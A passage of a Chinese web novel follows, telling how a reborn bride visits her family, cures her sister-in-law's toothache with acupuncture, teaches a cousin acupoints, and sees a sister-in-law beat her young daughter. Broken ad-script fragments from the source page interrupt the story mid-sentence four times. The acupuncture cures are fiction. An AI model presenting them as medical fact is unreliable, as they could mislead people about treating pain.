东方晋看着眼前如此上进的夫人，他有些惭愧。 “夫人有这样的想法，自然是极好的！” “好，那咱们现在就去书房吧，帮我找找看有没有那种简单点的启蒙用的书。” 东方晋看她如此积极，也不好扫兴，心里想着，还好夫人是要最简单的启蒙书，凭他的学识还能混一混，要是夫人要学四书五经那一类，他还真的会露馅。 于是二人自从进了书房，直到晚膳时分才出来。 只不过向雨涵的脸上是一脸满足，而东方晋则是一脸的生无可恋。 老天爷啊，媒人不是说他夫人目不识丁、不通文墨吗？ 怎么一本《千字文》她一下午就学会了？ 而且她还有那么多的问题，问的他脑袋都晕乎乎的！ 曾经的他，只觉得当学生不易，如今才知当夫子也难啊！ 东方晋决定原谅曾经教他念书还打他手板心的夫子了。 “夫君，我们明天学什么？” 睡觉前，向雨涵侧躺着眨巴着大眼睛看着身边东方晋问。 东方晋沉默。 “哦，对了，明天要回门！那我先睡了。”说完，向雨涵转身就睡。 东方晋顿时松了一口气。 感谢那个不知道谁但制定了“三朝回门”的先贤！ 次日清晨，用过早膳的小夫妻俩，同坐一架马车就出了门。 东方晋一上马车就挺开心的，一会儿拉了帘子往外看，一会儿又从车厢里的小抽里拿了瓜子出来剥。 向雨涵本来有些嫌他吵闹，只好闭眼安心凝神，才没一会儿就感觉衣袖被人拉了拉。 她睁开眼就看到一小碟剥好的瓜子仁被递到了面前。 东方晋冲她呲着门牙笑得眼睛都弯了起来。 向雨涵不知道他为何这么高兴，但还是接过了瓜子仁，小口小口吃起来。 刚吃了两颗，就听到东方晋说：“我早上出门没洗手，就这么剥的瓜子，夫人你应该不会嫌弃吧？” 向雨涵白了他一眼，手上拿瓜子却不停。 她记性可好了，她明明就看到他查点了回门礼之后，就用大暑递过去的湿棉巾擦过手的。 这么大一个人了，还搞这种小娃儿们的把戏。 哼，幼稚。 东方晋见向雨涵不上当，自己还得了个白眼，人就老实起来，靠着车厢里的软枕眯着眼小憩。 安静惯了的向雨涵见他不说话了，心里刚要松一口气，东方晋就又贴过去，跟她找话聊。 例如：夫人是不是特别喜欢洗衣服啊？每次都一个人去河边洗好多衣服。 向雨涵微眯着眼疑惑看他。 再例如：夫人是不是力气很大？每次翻地都能把锄头举得高高地挖下去。 向雨涵睁大眼惊疑地看他。 又例如：夫人是不是很擅长爬树？山里的野枣子什么味他都没尝过。 向雨涵瞪大眼震惊地看他。 东方晋看她表情变换，非常得意地哈哈大笑起来。 “你偷看我。” 向雨涵用的是肯定语气。 东方晋一下子又有些不好意思了，成亲前几个月，他隔三差五往向家村跑，为了不被向雨涵发现，还差点被村里到处乱跑的小孩当成拍花子的打。 还好他聪明，每次都带了面罩，就算有小娃发现他，他把手里的糖果铜钱一撒就跑，也没人再去追他。 “那什么……你家不是两姐妹嘛，我怕认错，就偶尔路过见了几次。” 路过河边，路过田边，这都还能解释。 路过山里她秘密宝贝的甜枣树，那还得了？ 上一世，她可就是靠那棵甜枣树做果酱才发的家啊！ 还好上一世他没对她的甜枣树动歪心思。 不过他居然偷摸跟了她那么多次，她一次都没发现，也挺厉害的。 向雨涵顿时心生警惕，以后自己做什么事，可得更加小心才行，不然很可能会被这人发现破绽。 不过，上一世向雨嫣和她换了亲，不会一下子就被发现了吧？ 向雨涵悄悄看了东方晋一眼。 上一世发现取了自己大姨姐的东方晋，他应该也挺委屈的吧？ 难怪上一世的三朝回门，向雨嫣是一个人回去的呢。 这么一对比，这东方晋对她还挺好的呢。 又过了半个时辰，在外面赶车的立秋出声提醒道：“少爷、少夫人，前面就是向家村了。” 东方晋闻言，立刻就坐正了身子，然后给向雨涵理了理裙摆，又整理了一下自己的衣衫，脸上也没有之前嬉皮笑脸。 向雨涵看了看他正经起来的表情，心想还挺能吓唬人的。 很快马车就停在了向家院子门口。 在门口望了好几次的向清福一看到马车，就第一时间跑回家里去跟他爹娘报信。 于是等向雨涵扶着东方晋的手 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 下车时，向大河与赵氏就已经迎了过来。 “女婿拜见岳父岳母！”东方晋淡笑着对向家夫妇二人行了礼。 “诶，诶。”向大河紧张的直搓手，但脸上的笑意也是掩不住的。 赵氏则是去抓着向雨涵的手，上上下下一顿打量，看向雨涵神色没有异常，心里的担忧也就放下来了。 作为农户人家，虽然女儿能嫁去那样好的人家，但作为亲娘，她心里还是担忧的。 “回来就好，一路上辛苦了，赶紧进屋歇歇。” 大家都往屋里走，只留了立秋在后面搬东西。 “二姐！”小脸圆乎乎的向清福，扒着他二姐的衣袖舍不得松开。 晃眼间又似乎看到他二姐夫好像瞪了他一眼，吓得立刻松了手。 向雨涵朝着弟弟的目光看了一眼东方晋，然后笑着问：“你之前不是挺喜欢你二姐夫的吗？怎么刚刚不叫他？” 向清福想了想，还是小声地告诉他二姐：“二姐夫看起来有点凶。” 向清福刚这么说了，没一会儿就看到了送给他的礼物——九连环和鲁班锁，顿时就冲东方晋笑得见牙不见眼，一口一个“姐夫姐夫”地叫着，连那个排序“二”都不要了。 赵氏拉着向雨涵去了厨房，一边做饭，一边聊她娘俩的体己话。 堂屋里，向大河就直愣愣地坐着，不知道跟东方晋聊什么，除了刚开始关心了几句，后面就不知道说什么了。 东方晋倒是很会聊天，见他岳父有些局促不说话，就主动问起夏收的事来。 一说到农事，向大河倒是立马精神起来了，把家里几亩地分别在哪儿，种了些什么，哪块地好出产什么，哪块地孬需要养之类的都聊了一遍。 东方晋时不时应答一声，时不时又顺着话询问一句。 不一会儿功夫，向大河就对这个城里来的女婿满意的不行。 之前定亲的时候，他只当是天上掉馅饼，从媒人那里知道东方晋家里在县城里有钱有势，他是家里的幺儿还没有小妾，是正经娶媳妇。 再去县城打听了一番，确定媒人没有说假话，后来人家给的彩礼还多，就同意了。 说实话，当时媒人来给他二女儿说这门亲，他还想过若是说的是大女儿就好了。 但如今看二女婿对他们的态度，以及他两人相处的模样，又觉得这桩婚事刚刚好，可见这缘分天注定的。 二女儿从小就勤劳懂事，能有这么一桩好姻缘，也该她得。 只是一想到自己那个柔弱的大女儿，向大河心里还是有些不舍和心酸。 向大河心里刚这么想，院门口就又有了动静。 他起身去看，就看到向雨嫣满脸汗水地进了院门，瘦瘦小小的宋峤跟在后面提着个篮子。 “爹，娘，我回来了。”向雨嫣在门口喊道。 向大河第一时间迎了上去，赵氏也从厨房里出来了。 向雨涵跟在赵氏身后，原本还想打个招呼，就看到向雨嫣看向她的眼神里像是带着怨毒。 向雨涵心里一冷。 姐姐这是对她装都不想装了吗？ 14.对比 赵氏接过宋峤手里的篮子，拿到厨房后才掀开看。 里面不过是几样点心和一小壶酒。 赵氏皱眉，却也没有声张。 在二姐夫那里得了礼物的向清福这时却跑了过来。 “娘，大姐和大姐夫可给我带东西了？” 赵氏摸了摸向清福的脑袋，安抚地说道：“你大姐夫的娘才没了，家里贫苦，等以后他考上大官了，不但给你买东西，还带你去京城玩呢。” 向清福也不是那好哄的小娃儿了，听到没有他的礼物，脸上就有些不高兴，只是嘴上却也没说罢了。 赵氏想着二女婿带来的那些上好的大包茶叶，几块颜色鲜艳的布匹，时令的新鲜瓜果，以及一大坛好酒，甚至还有两盒银首饰。 再看手里这个小篮子，心里不由自主的就觉得二女婿人好又实在。 毕竟这样的回门礼至少也得好几十两银子才置办的下来。 全村上下，不，就算加上她娘家村，都没人有这样的出手阔绰。 要知道在这年头，农户人家一年能存下个二三两银子，都算是很会持家的了。 向雨涵知道东方家准备了这样的回门礼是为了给她回娘家做脸，上一世她也是赚了不少钱财的，自然知道其中价值，所以并没有反对。 但却忘了回门礼会出现这么惨烈的比对。 毕竟上一世向雨嫣是空手回的家，她也是。 向雨涵给赵氏打着下手做饭，向雨嫣在旁边站了站，也没跟赵氏说上几句话，就借口说自己不像二妹回来有马车坐，她走路回来太累了，就回原来两姐妹住的卧房去歇着了。 向雨涵多活一世，也不想跟她争辩什么，只是手脚麻利地摘菜、洗菜、烧火。 赵氏掌勺，想着二女婿带来的礼物，在油罐子里挖油的时候，又多挖了半勺。 饭快好的时候，向雨涵吩咐向清福去叫向阿奶过来吃饭。 赵氏虽然不喜她那个婆母，但也没说什么。 等最后一个菜上桌，向阿奶才在向德财的搀扶下进了院门。 “阿奶！”向雨涵和东方晋同时喊道。 “阿奶。”向雨嫣和宋峤后一步开口。 “娘。”向大河对着后面的侄子招呼道，“德财也来啦”。 向德财一边扶着阿奶，一边应。 “诶，二叔二娘，我送阿奶过来。” 向德财扶着阿奶坐稳后，立刻就撒丫子跑。 “德财吃了再回去啊！”赵氏招呼道。 “不了，二娘。” 说完，半大小子人就跑远了。 向雨嫣从小就不喜欢她阿奶，这次回门也只是嘴上唤了一声，就自顾自地去桌子让坐下了。 向家的饭桌是一张四方桌，最年长的向阿奶带着最小的向清福坐在了上位，向大河夫妻坐在下位，向雨嫣、向雨涵则带着自己夫君各占一方。 立秋作为仆人是不坐桌子的，向大河拗不过立秋的规矩，就让赵氏给他单独盛了饭菜，他抱着碗坐在大门口旁的藤椅上，吃得很是无拘无束。 因为是回门宴，赵氏也是拿出了些本事的。 除了几个常见的素菜外，还做了莲藕炖肉和沙参炖鸡，还清蒸了一条肥肥的河鱼。 除了鸡肉外，另外两个肉菜都软糯可口，向雨涵靠向阿奶近，就给她夹了不少。 她曾经也年纪大过，最懂老太太的牙口吃什么方便。 向阿奶平时很少被人这么照顾，还有些拘谨，连连叫向雨涵自己吃。 向大河和赵氏见了也没说什么，只是招呼两个女婿吃菜。 中途向大河还想倒点东方晋带来的好酒喝，奈何东方晋不会喝酒，宋峤年纪小又在孝期，向大河觉得没人陪酒喝着也没意思，只好作罢。 除了向清福被他大姐抢了一只鸡腿外，一顿饭吃下来还算和睦。 吃完饭，大家本来是想歇一歇就告辞的。 结果东方晋在院子里转了一圈，看到院子边的草垛子下放着不少树疙瘩和树墩子，问了向大河才知道那些都是储备着冬天用的柴火，于是二话不说要来了斧头，哐哐一阵劈。 东方晋手上有劲，这时候也想在老丈人丈母娘面前表现一番，于是干活干得特别卖力。 向雨涵看出他的小心思，也没拦着，反而去旁边抽了稻草，手脚麻利地搓起了草绳，等东方晋劈好一部分，就拿草绳过去简单扎成捆，提到一边去晾晒。 “爹，你记得太阳落山就把柴火收起来再捆好，收回屋檐下，免得被露湿了。” 她一边干活儿，一边和向大河说。 向大河看着劈柴毫不费力的二女婿，又看看麻利干活儿的二女儿，高兴得连连点头。 以前老听人说，养儿好，儿子有力气能干活。 刚开始他只得了两个女儿，别人还笑话他没儿子。 现在看到女婿这么干活，他心里快活的不得了。 要不是分家后盖的房子偏远了一点，他恨不得把都村里人拉出来看看。 不过后来几天也没耽误他显摆。 “大河吃了吗？”村里人遇到了跟向大河打招呼。 “啥？你咋知道我那个城里的二女婿给我劈了柴？”向大河笑眯眯的说。 “大河一起下地去。”下地路上遇到的村里人跟向大河发出邀请。 “好，家里的柴都让我二女婿帮忙劈完了，地里的活儿就不能让我女婿干了。” 村里人：…… 不但是向大河出去吹嘘他二女婿能干，赵氏平时出门和村里的婆娘扯闲篇也说了不少。 别家婆娘说：“你们听说了吗？向五娃儿他老娘差点被儿媳妇饿死，前几天都饿晕在路边了。” 赵氏：“这么不孝顺的吗？还是我二女婿有孝心，回门礼还给我送了一对银耳环”。 说着还摇了摇头，耳环跟着摇晃，引得众人羡慕又嫉妒。 别家婆娘说：“村子口那家娶的媳妇才厉害，刚成亲半年不到，就给家里生了个大胖小子。” 赵氏：“其实生女儿也挺好的，我城里的二女婿回门礼装了一马车，特别是那些布匹料子好得呢，我都舍不得裁了做衣服。” 众人听完又是一阵感叹羡慕加嫉妒。 “听说向石头的女儿定了隔壁村的张屠户 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ，那屠户我见过，长得可胖了，家里肯定不缺肉吃。” 赵氏得意道：“我二女婿家肉都吃腻了，而且我女婿长得人高马大，身高七尺。” 实际上，她只是听人说“七尺男儿”，觉得七尺很长，东方晋个子又高，就直接安身高上去了。 “听说向老头家的儿子当上掌柜了。” 赵氏不屑道：“我城里二女婿家的铺子开满了全县城，如今都是我二女儿管着账呢。” 实际上，向雨涵只是跟她娘说了婆母让她学字，以后再学看账本的事，但这也不耽误她吹牛不是。 “清福他娘，光听你夸你二女婿，那你那个大女婿呢？” 赵氏顿了顿，然后摆出一副鄙视的表情说：“我大女婿都已经童生了，以后可是要当老爷的，读书人的事儿你懂吗？” 一句话把大家堵的哑口无言。 于是向雨涵回门后的那些日子里，她爹娘有一阵被村里人嫌弃坏了。 但东方晋这个好女婿的名声却传开了。 就当向大河翻来覆去吹嘘他二女婿帮他劈柴这事，村里人耳朵都要磨出茧子了后，夏收来了。 恰好这时，东方晋带了一群衣衫破旧的人来了，一天之内把向大河家，包括他大河向大江家的粮食都抢收了回去，然后饭都没吃，又带着人走了。 这件事轰动了村里人好一阵子。 而且向大河出门再也不用自己吹牛了，村里人见了他都无不羡慕一番。 这些都是后话。 说到东方晋哐哐劈柴时，宋峤在一边略有些尴尬，想上前帮忙，又怕被东方晋手里的斧子砸了脑袋。 向雨嫣倒是无所谓地抓了一把花生，坐在一边看着，嘴上还夸：“娘炒的花生就是香，又香又脆的。” 赵氏没好脸地说：“那是你妹从城里带回来的。” 向清福则两眼亮晶晶地看着他二姐夫，眼里的崇拜掩都掩不住。 “娘，我以后也能像二姐夫这么高，有这么大劲儿吗？” 赵氏爱怜地摸摸儿子头，肯定地道：“能，只要你把娘每天给你煮的鸡蛋都乖乖吃了，就能。” 向清福一听，心里有些遗憾，毕竟鸡蛋他早就吃腻了，但为了像二姐夫那种高大，他也只能忍住不拿鸡蛋去跟王狗娃换野地瓜吃了。 等东方晋把柴劈完，天色也不早了，他洗了把脸，就让立秋赶了马车，带着向雨涵一起回城里去了。 宋峤和向雨嫣后面才走，但是临走前，赵氏想到大女儿吃饭时那抢食的模样还是不忍心，把他们提来的点心又放回了篮子里，另外还装了两碗炒花生。 向雨嫣接过盖着布的篮子时，马上就发现了重量不对。 她看了赵氏一眼，心里有些感动。 若是以后宋峤出息了，她一定会好好报答爹娘的！ 宋峤却只是礼貌地道了别，也没管向雨嫣手里还提着篮子，离开向家后，大步地往家赶。 向雨嫣在后头追得大气直喘，前面的宋峤不但不提篮子，竟然头都没回一下，气得她牙都差点咬碎了。 宋峤脑子里想的全是向雨涵之前忙碌的身影。 15.针灸 明明孪生姐妹俩长得几乎一模一样，但为什么做起事来却这样的不同？ 宋峤想起来这两天向雨嫣嫁过来后的所作所为，小小年纪的他已经愁得像个小老头了。 明明向雨嫣比他大，却对家里的活儿一窍不通，自从领教她第一次煮的饭以后，家里除了烧水，几乎都没有再开过火。 之前他母亲走了，还是隔壁伯娘心善，愿意他拿粮食去搭伙。 原本以为他娶了新媳妇回来，家里就有人做饭了，却不曾想向雨嫣一个农户女，连个饭都做不好。 两天没吃饱饭的他，陪着向雨嫣回门时，本来在心里还想，要不问问丈母娘为什么他媳妇儿连饭都不会做？结果就看到那个跟他媳妇长得一模一样的二姨妹，在厨房里忙进忙出。 他心里一瞬间就冒起了酸泡泡。 那个县城离的东方晋，听说他家境很好，应当是不缺能洗衣做饭的，但偏偏他却先把能干的二姨妹求娶了去，结果媒人去向家提亲的时候，只剩下向家这位大女儿。 那时大家都以为，这大女儿跟二女儿是一样的能干，哪知道却恰恰相反。 向雨嫣在他这几天的印象里就是：做啥啥不行，吃啥啥不剩。 主打的就是一个摆设作用，娶这样一个媳妇回来还不如不娶呢。 宋峤心里那个恨呢，他恨不得现在就把向雨嫣跟向雨涵换一换。 但现在事情已成定局，他也无力改变，心里面只能更加的发奋图强，希望自己早日考上官身，然后再想办法把这个一无是处的向雨嫣休了。 刚回到东方家的向雨涵压根不知道，上一世靠吸她血考上官身的宋峤，也曾动过休妻的念头，还好她多年来为他劳苦奔波都被大家看在了眼里，碍于他做官的名声，才没敢那么做。 “大暑，去打些热水来。”进了门向雨涵就吩咐上了，说完又去衣柜里翻找出东方晋的衣服来。 在岳仗家只洗了把脸的东方晋，看着他夫人为他忙碌，心里熨帖的不行。 “你先洗吧，中午你还在厨房帮岳母大人做饭，后来又晒了那么多柴禾，也是辛苦的。”东方晋把他的换洗衣服放一边，轻推着向雨涵先去清洗。 有些男人就是你越亏待自己对他好，他越不把你放心上。 向雨涵见东方晋主动让她，倒也没跟他推脱客气，自己拿了套换洗的衣裳，就进到浴桶里面泡澡去了。 等到向雨涵洗完澡出来，东方晋又拿了干帕子不让小暑上前帮忙，自己给向雨涵搓头发，直到头发都快干透了，他才又进去洗澡。 两人收拾完，刘夫人那边就派人来传话，叫他们过去用晚膳了。 因为东方家没有分家，所以每次一起吃饭的人都挺多，都是分了男女两桌。 向雨涵刚嫁进来，刘夫人就爱把她拉到自己旁边坐着，往日里那位置一般都是刘夫人最喜欢的长孙东方青楠坐的。 东方青楠是东方晋二哥的孩子，也是东方家出生的第一个男孩，前段时间刚满七岁了，他三娘进了门，他就被安排去了他祖父东方信鸿那一桌坐。 东方家大哥大嫂虽然先成亲，但第一胎生的是姑娘，第二胎又隔了好几年才生了个儿子，这期间大嫂和二嫂就产生了不少龃龉。 大嫂阮氏原本以为二房家的小子腾了位置，怎么也该轮到她家宝贝儿子青峰了，哪知道婆母居然偏心三房，让一个乡下来的野丫头截了胡。 向雨涵刚嫁进来还不熟悉，东方晋平时也不懂这些，更不可能提点她，所以当她发现大嫂怨愤的眼神后，心里也有些纳闷，于是便一边吃饭，一边暗自观察。 “来，阿涵喝点这个甲鱼汤，很是滋补养人的。”刘夫人热情地招呼。 “多谢母亲。”向雨涵恭敬地回道。 大嫂轻哼了一声，拿了旁边小豆丁东方青峰的碗，站起身来就去盛甲鱼汤，脸上还挂着假笑解释：“青峰人小，还在长身体，母亲说这个滋补，那我也得给青峰多喝点。” 向雨涵看着才三岁的东方青峰，瞧着身体确实有些瘦弱，但不知是不是肠胃有疾，想出声提醒，又怕大嫂多想，加之人家作为母亲应该了解孩子情况，就忍住了。 刘夫人一眼就看出大儿媳情绪中的不满，也没有多说什么，又招呼了其他人吃饭，中途说教了孩子们偶尔吃饭吧唧嘴的毛病。 吃完饭后，向雨涵原本想和东方晋回去松竹苑，不料却被二嫂周氏拦下，邀他们去二房住的兰君苑坐坐。 到了兰君苑，东方晋就被他二哥东方炜拉去书房聊天去了。 向雨涵则随着周氏进了主屋。 “弟妹你坐。”周氏招呼向雨涵落座，自己转身进了内屋，一会儿便拿了一盒东西出来递给向雨涵。 向雨涵不明所以，但还是接了过去。 周氏笑着用眼神示意她打开看看。 向雨涵这才当着周氏的面打开。 盒子里放的是一支做工精巧的毛笔，笔杆比东方晋书房里的毛笔都要细一点，一看就是女子用的。 “啊，这笔太精致了。真是多谢二嫂了！” 周氏见向雨涵脸上的表情是真喜欢，便也高兴地说：“喜欢就好。白日里听母亲说要让弟妹你练字，以后好管账，就料想三弟一个男人家多半想不到这些。” “我幼时启蒙，夫子就向我父亲母亲叮嘱过，小姑娘初学字，不宜用男子平时用的粗笔杆。” 说着又指了指身边五岁的女儿东方青鸾：“今年青鸾刚好启蒙了，我就多置办了几支笔，这支送给弟妹你，且不要嫌弃才是。” 向雨涵连连摆手表示：“不嫌弃，不嫌弃。多亏二嫂心细，不然我这手可就要遭殃了。” 昨日为了假装自己刚学字，只是跟东方晋口头上背诵了《千字文》，字还没时间练习，想必明日里尹嬷嬷应会让她学着写的。 上一世她最初用的是宋峤的毛笔，宋峤的手在男子里算小的，所以用他的毛笔也合适，后来就是她自己买的笔杆差不多粗细的毛笔在用了。 手里这笔看着就是支好笔，她高兴还来不及呢。 再有就是，这位二嫂还是除了东方晋与刘夫人外，第一个对她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 主动示好的家庭成员呢。 这支狼毫笔一看就知道价格不便宜，人家这么付出了，她也得有所表示才行。 向雨涵一时间也没有什么拿得出手的，又打量了周氏几眼，见她脸上虽然带笑，但眉间似有郁色，脸颊左侧还微微肿起。 向雨涵第一反应是，难道二嫂的脸是被东方晋二哥打了（源于对上一世东方晋的刻板印象，祸及了二哥）？ 然后又想到二嫂白皙的脸庞上并无伤痕，于是就问：“二嫂可是牙疼？” 周氏一怔，好奇问道：“弟妹怎会知道？” 随即又苦笑道：“我这是老毛病了，吃了好几种方子，每回都是要吃几日才会见好，所以一直肿痛不已。” “以前我去我嘎婆那边住了一段时间，也曾患过牙疼，那时他们村里有位老医女，嘎婆便送我去看了。那位老医女就用银针给我扎了穴位，立马能止痛。” 向雨涵打量了屋子，又问：“穴位都在手掌上，我记得很清楚，家里可有银针？我给二嫂扎一阵试试。” 周氏本不信，但她的陪嫁丫鬟春晓却看不得自家姑娘遭罪，连忙去翻找了银针出来。 向雨涵让春晓又把银针用滚水烫了烫，这才拿了针给周氏扎针。 第一针扎在了少府穴上，周氏原本觉得手心略微有点疼，慢慢的就没什么感觉了，而后发现牙齿也不再那么疼了。 周氏大喜。 “弟妹，你这办法还真管用。” 向雨涵笑笑没搭话，又取两针沿着掌心横向扎下。 扎了约摸有两柱香时间，向雨涵才取了针。 周氏感觉有效，人也松快了不少，对着向雨涵连连道谢。 向雨涵又笑着问：“二嫂你是上牙疼还是下牙疼？” 周氏摸了摸脸颊，回答道：“是下牙。” “下牙疼大肠经，合谷透三间。” 向雨涵又伸手去给周氏的合谷穴按摩了一会儿，周氏感觉自己的牙一点事都没有了。 这还是她第一次牙疼治愈得这么快。 等东方晋过来接向雨涵时，周氏还让丫鬟春晓取了上好的燕窝来，要送给向雨涵。 东方晋和他二哥东方炜都不知发生了什么。 听周氏一解释，东方晋才知道自己的夫人还有扎针的手艺，还得了二嫂以及知情后的二哥的夸赞，他顿时也觉得面上有光。 回到松竹苑后，东方晋立马吩咐小暑明日就把燕窝炖了给向雨涵补补。 向雨涵推脱。 东方晋却语气真挚地说：“夫人以前受苦了，如今既然嫁给了我，那必须得好好的把身体养起来。除了二嫂给的这些燕窝，日后若是想吃什么，夫人就用银钱买什么，不需为我节省。” 向雨涵看着东方晋大方的模样，顿时觉得好笑，上前扯了扯他的衣袖，浅浅一笑说：“你这般为我，我都知晓了。” 东方晋闻言，脸大红，手握成拳抵在嘴边轻咳了两声。 “时间不早了，那就先安歇了吧。” 说完，他的耳朵也红了。 16.表妹 向雨涵已经很收着了，但是尹嬷嬷看到她写的字依然惊讶不已。 “三少夫人读书认字还是很有天赋的，估计不出半月，那些账册就能开始看了。”尹嬷嬷对着刘夫人回禀说道。 刘夫人也有些诧异，然后转念一想又欢喜了起来。 “阿晋向来不爱读书，向氏却在这一途上有天赋，如此以后二人诞下子嗣，说不准就能有个爱读书的，以后也能去考官了！” 刘夫人越想越高兴，于是又笑着吩咐余嬷嬷去置办些上好的纸墨笔砚，派人送去松竹苑。 “听说昨晚二少夫人就送了三少夫人新的毛笔了。”尹嬷嬷顺口提道。 “哦？看样子还是老二家的想得周到。”刘夫人夸赞道。 于是上午在婆母院里学了字，下午又在东方晋书房里“补课”的向雨涵就收到了独属于她的新文房四宝。 连东方晋看了都不仅连连摇头感叹，母亲对自己夫人真好，连他都看的有些羡慕。 “要是你爱读书，母亲一定会对你比这更好。”向雨涵淡淡地说道。 东方晋挠挠头笑着说：“那倒也不必。” 向雨涵看到他那厌学的模样，也觉得有些好笑。 两人正准备继续认字时，大暑急忙忙的来敲了门禀报。 “少爷不好了，表小姐又来了。” “三表哥，三表嫂。” 大暑刚刚说完，刘馥郁的声音就传了来。 东方晋也是一脸头疼的样子，转身对大暑说：“这里没啥事儿了，你就去院门口看着吧。” 大暑得令退下，一副对刘馥郁这位表小姐避之不及的模样。 向雨涵倒觉得这表小姐人很有意思，于是收拾好桌上的纸墨笔砚，跟着东方晋出了书房。 刘馥郁看到他二人从书房方向出来，就提着裙摆小跑了过来。 身后跟着的丫鬟急得连连小声提醒：“姑娘别跑！姑娘！” 刘馥郁听到了也当充耳不闻，毕竟三表嫂早就知道她有功夫的事儿，她才不用像在别人面前那样装模作样呢。 “你怎么又来了？”东方晋黑着脸问，“我这成亲都好几日了，你什么时候回海州去？” 刘馥郁本来还笑着的小脸一下就垮了下来。 “三狗娃，你赶我走？” “不是，刘馥郁，你再乱叫一下试试！” “三狗娃，三狗娃，三狗娃！” 东方晋一瞪眼，正想撸袖子，就被向雨涵扯住。 他这才想起自己夫人也在，只好收住手往身后一背，对向雨涵道：“我好友苏石作了一副新作，已叫人来邀我前去观赏，晚膳前必归，劳烦夫人陪客了。” 向雨涵心知表小姐在，她这会儿也没法继续练字，便冲东方晋点点头。 东方晋看她同意了，这才放心地出门去了。 见东方晋走了，向雨涵才问：“表妹今日前来找夫君有什么事啊？” “我才不是来找他的呢。”刘馥郁傲娇地扬了扬下巴，转而又对着向雨涵殷勤地笑道，“我今日是来找表嫂你的。” 向雨涵一脸疑惑。 “找我的？” “是呀，是呀！” “找我又有什么事呢？” 两人总共不过是第三次见面，因为刘馥郁都是在自己院里吃，平日里吃饭都没碰到过，向雨涵还真猜不到这表小姐是有什么事来找她。 刘馥郁有些不好意思地搓搓手，犹豫着要怎么开口。 向雨涵见她这般模样就说：“有事直说吧。” 刘馥郁又笑了笑，然后开口道：“我听闻表嫂你会针灸之法，那想必对穴位经络也是熟知的对吧？” 向雨涵没有隐瞒直接点头承认了。 刘馥郁大喜。 “那我可不可以求表嫂一件事？” “什么事？” 刘馥郁朝左右看了看，然后靠近向雨涵小声地说：“求表嫂教教我穴位经络之法。” 向雨涵讶然，也压低了声音问：“你们学功夫不学穴位经络吗？” 刘馥郁解释道：“我和三表哥不一样，他的功夫都是正经武师教导的，我不过是个女孩子，父亲母亲本不让我学这些，但我又偏生喜欢，于是每次来姑母家都会跟着三表哥学些招式动作，回去再偷偷练习……” 向雨涵听完，瞬间就对这个表小姐的印象改观了。 搞半天其实真正有天赋的人不是她，而是这位表小姐啊！ 人家只是学招式就能跟东方晋这个正经学功夫的人打个有来有回，要是她也正经习武，那岂不是有可能成为当代“木兰”？ 向雨涵从来不觉得女子就该比男子弱，而且有过一世经历的她却完全明白，这个世界对于女子有多不公平！ 思及此，向雨涵便拉起了刘馥郁的手，带她去往书房里。 刘馥郁刚开始还不明白，明明刚刚说的是习武方面的问题，怎么表嫂把她往书房带。 她略站了站，就见向雨涵取出一张半桌长的宣纸，然后开始研墨作画。 向雨涵刚开始下笔时，感觉还有些手生，画着画着就越来越顺畅，很快就描出一张人体图来，然后就开始标注穴位经络。 刘馥郁在一边越看越欣喜，脑子也随着向雨涵的标注开始记忆。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 等向雨涵画完，刘馥郁才记了一小部分。 “表嫂，你这也太厉害了吧？” 向雨涵摆摆手，谦虚地说：“这也没什么，以前也练了许久才记下来。” “纸上只是记录，但要知道到身体具体位置，才能更精准。”向雨涵看了看刘馥郁那个跟在门口的丫鬟，“你这丫鬟可信得过？” 刘馥郁听向雨涵这么为她考虑，心里很是感激，连连道：“枝枝是从小就服侍我的人，绝对信得过！” 向雨涵又看了一眼很有规矩，乖乖站在门口的枝枝，对刘馥郁道：“那就请她进来帮个忙吧。” “枝枝，你来。”刘馥郁高兴地喊。 枝枝在门口也不是傻站着，而是眼观六路耳听八方地警觉着。 毕竟她家那五姑娘平日里最能淘气，作为一个小丫鬟，她管又管不了，只能时不时给姑娘打掩护。 听到姑娘喊她，她还朝外面院子看了看，这才转身进来。 向雨涵看着枝枝小心的模样，不自觉地笑了，这丫头也是个妙人。 “枝枝，你家姑娘要学穴位经络，所以需要在你身上做一些简单的示范，你可愿意？” 枝枝瞪大眼睛，有些惊惧，颤声问：“会把我点死吗？” 向雨涵疑惑不解地看刘馥郁一眼，刘馥郁无辜地摇摇头。 “谁说会点死啊？” 枝枝瘪嘴委屈地道：“我家姑娘说，等她学会了点穴之法，她就能一指留人命，十步杀一人，千里不留行。” 眼见自己吹的牛被枝枝当着表嫂面说出来，刘馥郁在一旁有些尴尬的转开脸。 向雨涵却被逗得哈哈大笑起来，笑完之后又才安慰枝枝。 “你不用担心，我所知的是穴位按跷等养生之法，并不伤人。而且点穴杀人这种说法也并没有，最多就是有些穴位大力按压会让人产生疼痛或麻痹之感。” 枝枝听了向雨涵的话，这才放下心来。 刘馥郁则有些不可置信地问道：“表嫂你说的是真的吗？” 向雨涵点头。 刘馥郁哭丧着一张脸，悲愤道：“原来话本子里说的都是骗人的！” 还好她又很快重新振作起来。 “表嫂，你快教我哪些穴位能让人疼痛麻痹。” “嗯？” “这样我下次跟三狗……呃，三表哥比试时，说不定就能打过他了。” 向雨涵：…… 一想到她教会了刘馥郁去打东方晋，顿时有点心虚呀怎么回事？ 一旁才放心下来的枝枝瞬间瞪大了眼。 所以这苦头她是逃不过了吗？ 17.虐女 一个月晃眼即逝。 在向雨涵的勤奋和“天赋”双重使然下，三房的营生都归了向雨涵管理。 不仅如此，刘夫人还把家里的一家经营的还算不错的食铺也交给了她。 大房那边阮氏听闻之后，很是气愤地砸了房里的一套杯子。 原本在一旁练习刺绣的东方青宁看到她母亲突然发脾气，吓得抱着绣框缩在一边不敢发出任何动静。 然而阮氏砸完了杯子像是还不解气，转眼看到瑟缩在一边的大女儿，二话不说，上去就揪住她手臂一阵大力地拧。 屋里的丫鬟都一脸平常地去到门外，大丫鬟桂香还把门关上了。 才九岁的东方青宁绝望地看着那扇门，眼泪不忍不住的大颗大颗往下掉，但是却自觉地捂住了嘴，身上再痛也不敢发出一点声音来，任由她母亲对她殴打发泄。 “都是因为你这个灾星、赔钱货！” 